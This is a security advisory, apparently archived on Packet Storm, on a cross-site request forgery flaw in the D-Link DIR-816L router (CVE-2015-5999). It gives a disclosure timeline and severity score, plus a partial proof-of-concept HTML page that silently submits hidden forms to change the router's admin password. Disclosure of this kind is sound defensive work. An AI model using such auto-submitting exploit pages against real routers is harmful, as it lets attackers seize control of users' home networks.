what you don't know can hurt you

D-Link DIR-816L Cross Site Request Forgery

D-Link DIR-816L Cross Site Request Forgery
Posted Nov 16, 2015
Authored by Bhadresh Patel

D-Link DIR-816L suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2015-5999
MD5 | 5f3cef9317a74a0ab0bb23aca8e37e77

D-Link DIR-816L Cross Site Request Forgery

Change Mirror Download


D-link wireless router DIR-816L – Cross-Site Request Forgery (CSRF) vulnerability


Name: Bhadresh Patel
Company/affiliation: HelpAG
Website: www.helpag.com




10-11-2015 (dd/mm/yyyy)


D-Link is a computer networking company with relatively modest beginnings in Taiwan. The company has grown over the last 25 years into an exciting global brand offering the most up-to-date network solutions. Whether it is to suit the needs of the home consumer, a business or service provider, D-link take pride in offering award-winning networking products and services.


DIR-816L is a wireless AC750 Dual Band Cloud Router

Product link: http://support.dlink.com/ProductInfo.aspx?m=DIR-816L


Cross-Site Request Forgery (CSRF) vulnerability in the DIR-816L wireless router enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.

27-07-2015: Vendor notification
27-07-2015: Vendor Response/Feedback
05-11-2015: Vendor Fix/Patch
10-11-2015: Public or Non-Public Disclosure

Affected Version:




Severity Rating:

7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)


An attacker who lures a DIR-816L authenticated user to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to DIR-816L wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, changing the network policy, etc.

Proof Of Concept:

1) User login to DIR-816L wireless router

2) User visits the attacker's malicious web page (attacker.html)

3) attacker.html exploits CSRF vulnerability and changes the admin account password

PoC video link: http://youtu.be/UBdR2sUc8Wg

Exploit code (attacker.html):


<iframe style="display:none" name="hiddenpost"></iframe>

<form action="" method="POST" enctype="text/plain" target="hiddenpost" id="csrf">

<input type="hidden" name="<?xml version" value=""1.0" encoding="UTF-8"?>








</postxml>" />


<script>alert("This is CSRF PoC");document.getElementById("csrf").submit()</script>

<iframe style="display:none" name="hiddencommit"></iframe>

<form action="" method="POST" target="hiddencommit" id="csrf1">

<input type="hidden" name="ACTIONS" value="SETCFG,SAVE,ACTIVATE" />



Patched/Fixed Firmware and notes:




Bhadresh Patel
Security Analyst
HelpAG (www.helpag.com)


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    4 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2019 Packet Storm. All rights reserved.

Security Services
Hosting By